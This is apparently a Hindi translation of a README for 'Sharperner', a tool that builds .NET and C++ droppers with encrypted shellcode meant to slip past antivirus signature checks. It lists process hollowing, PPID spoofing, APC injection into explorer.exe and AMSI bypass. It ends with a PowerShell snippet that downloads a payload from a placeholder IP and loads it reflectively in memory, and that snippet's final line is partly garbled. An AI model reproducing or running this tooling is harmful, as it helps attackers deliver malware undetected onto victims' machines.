Sharperner

Sharperner एक उपकरण है जो CSharp में लिखा गया है जो AES और XOR ऑबफस्केटेड शेलकोड के साथ .NET ड्रॉपर उत्पन्न करता है। उत्पन्न निष्पादनीय हस्ताक्षर जांच को बायपास कर सकता है लेकिन मैं निश्चित नहीं हूं कि यह ह्यूरिस्टिक स्कैनिंग को बायपास कर सकता है।

विशेषताएँ

PE बाइनरी

• प्रोसेस होलोइंग
• PPID स्पूफिंग
• यादृच्छिक रूप से उत्पन्न AES कुंजी और iv
• अंतिम शेलकोड, कुंजी और IV मोर्स कोड में अनुवादित किए जाते हैं :)

.NET बाइनरी

• AES + XOR एन्क्रिप्टेड शेलकोड
• APC प्रोसेस इंजेक्शन (explorer.exe)
• यादृच्छिक फंक्शन नाम
• यादृच्छिक रूप से उत्पन्न AES कुंजी और iv
• अंतिम शेलकोड, कुंजी और IV मोर्स कोड में अनुवादित किए जाते हैं :)

उपयोग

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

सुझाव

डिस्क को छूने से बचने के लिए, उत्पन्न .NET निष्पादनीय को पावरशेल के साथ रिफ्लेक्टिव रूप से लोड किया जा सकता है। AMSI अब दुश्मन है, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()